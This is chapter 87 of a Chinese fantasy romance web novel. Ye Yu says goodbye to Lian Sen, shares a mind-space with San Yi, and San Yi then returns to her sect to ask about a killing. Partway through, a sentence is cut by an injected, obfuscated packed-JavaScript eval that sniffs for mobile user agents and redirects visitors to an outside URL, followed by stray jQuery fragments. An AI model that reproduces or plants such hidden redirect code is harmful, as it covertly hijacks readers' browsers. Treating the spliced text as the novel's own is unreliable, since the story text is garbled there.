87. 沾血
作品:《大师姐上恋综捉妖啦》 连森举着伞,停下了脚步。
雨停了,他们走到独栋洋房门口。
连森顿了顿,似乎在犹豫什么,最终还是讲出了最后一句:
“你那未婚夫晚来一步,想从我手中夺过你,却没我力气大,最后只是望着你的尸身自刎了。”
叶玉沉默一路,听完才开口:
“你也清楚那是上一世的事吧,对于现在的我来说,和故事没什么区别。”
连森听了这话,脸色有些白,但还是点了点头。
叶玉是个活在当下的人。
她降生于世的时间很短,短到每一刻都像是从三一身上偷来的,也格外珍惜时间,每分每秒都要全情投入。
连这一世都还没活明白,怎么可能顾得了上一世如何?
“我听你说这些,并不是因为好奇或在乎,我只是不想欠你什么。”
连森出于种种她难以厘清的心情,做了许多事,不论如何,这场游戏玩到最后,叶玉因此受益,她不可否认。
所以如果将这些说出来能够解开他的心结,那听听也无妨。
但,也仅此而已。
“前缘已尽,过去的已经过去,我早就忘记了,你也不必记着,放过彼此,这一世,一切重新开始。”
连森抬头,看着被雨水洗过的天空,将伞合上了。
“其实我也没打算用上一世的故事打动你,我知道你不是这样的性格,只是心存了一丝侥幸。”连森自嘲地笑笑。
叶玉站在洋房庭院入门处的台阶上,连森站在一步之外,这是个很适合挥手作别的距离,像站台之于列车,信栈之于候鸟。
“我能最后再问你一个问题吗?”
叶玉自然不会说不。
“今晚你晕倒,那位见水,你和他...你们...认识?”连森艰涩地开口,换了几次问法,似乎很难说下去。
“认识。”叶玉沉下心,干脆地承认了。
这同样也是她在思考的事,白水,见水,怎么想都不像是巧合。
冥冥中似乎有什么引导着叶玉与见水相识,但她讨厌这种被命运牵着鼻子走的感觉。
不论如何,叶玉要查清楚这一切。
连森阖眼,长而卷的睫毛颤动,压下心中的不安,他没再纠缠,恰到好处地露出一个浅笑,道了声晚安。
如今的连森已经完全学会了先前足以将他难倒的笑容和分寸,只是新人不见得恋旧人。
叶玉到底还是吃软不吃硬,为他这幅作态生出些许不忍。
她伸手,拍小狗似的拍拍他乌黑的发顶,催促他离开后早些休息,然后转身进了洋房。
开了门,叽叽喳喳的鸟雀声先一步迎来。
叶玉心有灵犀般接通灵道,听到了一大串对于某两位毫不节制亲吻小鸟女士的控诉。
辛苦了,叶玉憋着笑拍拍静清的小脑袋。
申工夺和裘云也噔噔地跑到了大门口。
裘云做贼似的苍蝇搓手,八卦道:“怎么样?”
叶玉瞥她一眼,没好气道:“还好意思问,你求救信息是群发的吗?海王遇到你这种僚机都得掂量一下会不会翻车。”
申工夺接过毛茸茸的静清,满意地吸了口小鸟,补充道:“何止,要不是我发现并及时阻止,她那求救信息差点发给流棠涛本人。”
裘云噘嘴:“你就说救没救吧,这场面,简直就是葫芦娃救爷爷,一个一个送,还不满意?”
叶玉好不容易严肃一次,又被这仨活宝整乐了。
什么前世今生爱恨情仇通通甩一边去,只剩下满室笑语。
--
洗漱过后,叶玉将全部意识沉入体内。
人的记忆就像一扇精密复杂的保险箱,只有一把钥匙可以打开,不向任何外人开放。
而对叶玉和三一来说,她们共同掌握着这把钥匙。
当一方沉入识海中,另一方在外界主导身体时,识海中的那位可以随时接收外界那位的记忆,甚至可以实时共享——就像在大脑中开了个小窗,观看外界发生的一切,却不对此施加任何控制。
但三一往往会屏蔽外界独自修炼,任由五颜六色的记忆碎片环绕着她累积起来,再在快要“出门”掌控身体时接收记忆。
而叶玉更喜欢趁机在识海睡大觉,根本不关注三一所做的一切,直到接管身体后才自动接管回忆,开启新的一天。
记忆归根到底也只是一种物质,一种能量,对她们来说和妖力灵力没什么区别,可以回收也可以制造,并不值得多加注意。
今天却有所不同。
进入灵识的刹那,未接收的记忆碎片已经在叶玉面前堆积成山了。
她猝不及防吸入一大口五彩斑斓的碎片,眼前吃毒蘑菇般闪过大片不连贯的场景、气味与声音。
叶玉赶紧屏住呼吸,从“记忆山”中爬出来,嘴里呸呸了好几下。
这是什么情况?
平日里叶玉进入识海,只会接收到一块小小的记忆碎片,里面也往往只有一个场景——三一保持同一个姿势不变,修炼了一整天。
叶玉迷茫地看向阵灵与三一:
“往常不是从三一出去做事才会开始大量积累记忆碎片吗,你们两个今天怎么回事,趁我不在搁识海里拍电影了?”
阵灵笑呵呵道:
“今天就先到这里吧,晚上还要去妖界探听消息,一次能接收消化的记忆能量有限,那些陈年旧事不打紧。”
三一颔首,镇定地起身,准备掌管身体。
没了熟悉的妖力作为力量来源,叶玉今日被冰凉凉的法力冻了一日,颇有些萎靡,进了识海就开始犯困。
她勉强打起精神问道:“等等,阵灵的声音怎么变了......喂,有没有人回答一下我的问题。”
三一这才撩起眼皮看她:“大概就是你和连森聊的那些,想看就自己翻。”
在识海中接收记忆,体感可是相当漫长,一比一还原,很耗费精神,只有三一这种细致严谨的性格才会耗费功夫做这个,叶玉才没那个耐心。
叶玉打了个大大的哈欠,狐疑地眯眼:“我们两个聊的?都听过一遍为什么要翻,我要去睡觉。”
三一摆手:“随你。”
听三一这么说,叶玉更懒得继续深究,再也抵挡不住疲惫感,倒头就睡。
反正只要有一人整理好记忆能量,接替身体时另一方就自动知道了,叶玉只需要等着,最晚在接替身体时囫囵吞枣地过一遍就知道了。
叶玉只来得及嘱咐了一句,就在海啸般困意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116569|195527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的中失去了意识:“到妖界找到线索了叫我......”
三一动作停顿片刻,轻轻在阵灵头上敲了敲,阵灵乖顺地“熄了灯”,灵识陷入纯粹的黑沉中,仿佛世界闭上眼——
三一睁开眼,她正躺在柔软的大床上。
叶玉这次倒没再赌气,给她增设什么浴缸苏醒的小难关,甚至相当贴心地换上了她平日穿的白袍。
越是如此,三一越是疑窦丛生,总寻思哪里不对劲。
叶玉静悄悄,必定在作妖。
发动通往青玄宗的传送阵前,三一不放心地拿出镜子一照。
妖怪现形,镜中人赫然挂着两条冲天的双马尾,手法嚣张且不对称。
三一:“......”
人生三大错觉之一,叶玉会老实。
三一叹气,摘下更突出奇异的那侧马尾的发带,还未收起,发现上面有未干的墨迹,像是被某个麻烦精预判了她的行为:
【被你发现啦!偶尔也换换装饰嘛,嘿嘿~】
她的手指插在另一个斜扎马尾中,在蓬杂的发丝间停了片刻,终究没有将它解开。
片刻后,三一失笑道:
“罢了,由她去吧。”
她将手按在传送阵上,默念法诀,充盈的法力在躯体间流动,一息间换了天地。
药房中,林容掌间一顿,笔锋被停留的墨染得圆润,又在意识到后继续挥斥几字,写完方子才发问:
“还知道回来?”
锋利的丝线将墨迹未干的宣纸钉死在墙上,木质的二把手从窗口接过药方,立即按配方抓药熬煮,开始新一轮的忙碌。
三一弯腰行礼,垂首道:“回来取样东西,问些事。”
林容手指一勾,取出新的宣纸,继续蘸墨:
“什么事,不找金枫卓却来找我?”
自然是,她不敢向金枫卓问的事。
三一难得有些紧张,舒出一口气,声音却仍绷着:“我是来问石家家主,石斐信的事。”
林容叹气,放下笔侧头看她:
“我发现你是真的不长心,石家那小子的事也是,谁遇到这些不是急着撇开关系,能逃则逃,你倒好,上赶着来问,生怕消息传不开。”
三一抿唇,一幅听劝但不改的固执模样。
林容没好气道:
“临南长老将消息封锁了,说是自家人的事,待事态平复下来再解决。现下四方大乱,也没人有余暇追究上一任正道魁首是否死的蹊跷。
“不过要我说,石斐信那老不要脸的动手偷袭在先,也怨不得咱们。但你也太冲动,太不谨慎,要不是当时周围人死的差不多了,你等着被千夫所指,戳脊梁骨骂。
“临南和宗中其他长老的脾气你知道,等风头过去腾出手来,一通受罚肯定是免不了的。你最近有什么要做的事,就快些去做。”
事态总算是没到最难堪的地步,三一松了口气,拱手道:“弟子甘愿受罚。”
林容捻起笔杆就要赶人:“问完了?还不滚。”
三一迟疑着发问:“那我师父他...知道了吗?”
金枫卓待三一视如己出,亦师亦父,在她前二十四年的人生里,是她最亲近的人,如今她手上沾血,他的态度她没办法不在意。

